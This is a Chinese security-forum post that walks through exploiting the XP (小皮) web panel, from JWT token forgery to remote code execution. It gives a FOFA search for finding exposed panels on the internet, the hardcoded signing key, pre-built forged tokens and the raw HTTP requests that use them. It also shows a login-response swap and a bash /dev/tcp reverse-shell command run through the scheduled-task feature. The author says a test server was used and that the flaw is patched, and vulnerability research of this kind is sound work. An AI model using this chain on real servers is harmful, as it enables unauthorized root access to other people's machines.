漏洞复现-小皮面板JWT Token伪造到RCE-网络安全论坛-网络安全-阻击者联盟

漏洞复现-小皮面板JWT Token伪造到RCE

漏洞复现

    通过fofa互联网空间测绘查找小皮面板,fofa通过icon特征查找对应资产:

icon_hash="-1458616391" && country="US"

d2b5ca33bd20250821064138

这里使用我们自己的测试服务器来进行漏洞复现。访问测试服务器的小皮面板服务端口,会提示安全入口错误,这是由于小皮面板为了后台安全,防止被Web后台被暴力破解,在启动服务时会生成一个6位小写字符跟数字组成的随机路由来保护后台登陆地址。需要先访问安全入口获取对应的Cookie后才会被允许访问到登陆路径/login。所以获取到登陆所需的Cookie是我们漏洞复现的第一步。

d2b5ca33bd20250821064200

当面板存在token伪造漏洞的情况下,我们可以利用伪造的token通过敏感信息泄露的路径,来获取对应的面板地址,需要注意的是该接口有时是未授权访问,有时需要附带token认证。其中泄露的信息中的Entry的value值即为后台地址的路由。

未授权敏感信息查询:

GET /panelCfg/sectionCfgs?section=panel HTTP/1.1
Host: xxx.xxx.xxx.xxx:xxx
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

d2b5ca33bd20250821064217

构造JWT token 敏感信息查询:

    在小皮面板v1.3.3版本之前的面板配置参数中存在固定的硬编码,导致了JWT token的伪造漏洞。这里我们使用默认硬编码生成一个新的JWT token信息。

    通过查看Linux 小皮面板安装路径下的/xp/panel/config.json配置文件可以查看默认的硬编码为xp1973

"jwt": {
        "signingKey": "xp1973",
        "issuer": "xp",
        "expireSeconds": 604800
    },

d2b5ca33bd20250821064257

获取到默认硬编码后可以利用https://www.jwt.io/生成JWT Token。在生成JWT Token之前简单介绍一下JWT的格式内容,其中 iat(签发时间)和 nbf(生效时间)相同时,表示 Token 签发后立即可用。Token 有效期:从 iat 到 exp 的时间间隔。而自定义字段(如 user_id/account/temp)由业务系统定义,需与验证方约定一致。(在此小皮面板的Token伪造漏洞中后台并不进行account字段的校验,所以这里我们可以使用任意的字段内容,这里以为admin为例,account字段的内容并不会不影响登陆后的权限)

exp

Expiration Time

定义 Token 过期时间

1766333666

iat

Issued At

标识 Token 签发时间

1746333666

iss

Issuer

声明 Token 签发者

“xp”

nbf

Not Before

定义 Token 最早生效时间

1746333666

user_id

自定义字段

用户唯一 ID

1

account

自定义字段

用户账号名

“admin”

temp

自定义字段

标识 Token 是否为临时类型

false

d2b5ca33bd20250821064314

生成的JWT Encoder如下:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3NjYzMzM2NjYsImlhdCI6MTc0NjMzMzY2NiwiaXNzIjoieHAiLCJuYmYiOjE3NDYzMzM2NjYsInVzZXJfaWQiOjEsImFjY291bnQiOiJhZG1pbiIsInRlbXAiOmZhbHNlfQ.WSf9j7rtWZ5C5_e_QFJksn0qQBYUx_WUwlveEALFOGA

    构造JWT token 敏感信息查询:在请求头中添加Authorization字段,Bearer 后添加JWT Token

GET /panelCfg/sectionCfgs?section=panel HTTP/1.1
Host: xxx.xxx.xxx.xxx:48766
Authorization:Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3NjYzMzM2NjYsImlhdCI6MTc0NTcyODg2NiwiaXNzIjoieHAiLCJuYmYiOjE3NDU3Mjg4NjYsInVzZXJfaWQiOjEsImFjY291bnQiOiJhZG1pbiIsInRlbXAiOmZhbHNlfQ.QTxsjKmTWDUJzDMAAmzD-ReF9-mLVVViVtm1hN2p56g
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

d2b5ca33bd20250821064401

伪造JWT Token登录后台:

    通过访问前面获取到的安全入口地址,获取到登陆接口的Cookie,拦截登陆请求包。

d2b5ca33bd20250821064413

拦截请求的响应内容,替换响应内容为如下json信息,登录成功返回的

{"code":1000,"data":{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3NjYzMzM2NjYsImlhdCI6MTc0NjMzMzY2NiwiaXNzIjoieHAiLCJuYmYiOjE3NDYzMzM2NjYsInVzZXJfaWQiOjEsImFjY291bnQiOiJhZG1pbiIsInRlbXAiOmZhbHNlfQ.WSf9j7rtWZ5C5_e_QFJksn0qQBYUx_WUwlveEALFOGA"},"message":"登录成功"}

d2b5ca33bd20250821064432

d2b5ca33bd20250821064438

d2b5ca33bd20250821064444

登陆后台成果。

d2b5ca33bd20250821064457

小皮面板后台后利用:

    目标出网的情况下可以利用后台计划任务反弹shell获取主机权限,不出网时利用文件管理写入WebShell即可。

d2b5ca33bd20250821064511

bash -c 'exec bash -i &>/dev/tcp/xxx.xxx.xxx.xxx/5555 <&1'

d2b5ca33bd20250821064526

d2b5ca33bd20250821064532

获取主机root权限。

d2b5ca33bd20250821064546

后话:

    该漏洞已在最新版本修复,不再存在默认signingKey,小皮面板每次重新启动,都会刷新signingKey的值。,虽然小皮面板的signingKey已经不再为默认值,但signingKey依然作为后台的登陆凭证JWT Token的生成要素之一,当目标站点存在任意文件读取时可以读取/xp/panel/config.json中的配置文件来获取小皮面板的后台管理权限以及命令执行权限。

请登录后发表评论

    没有回复内容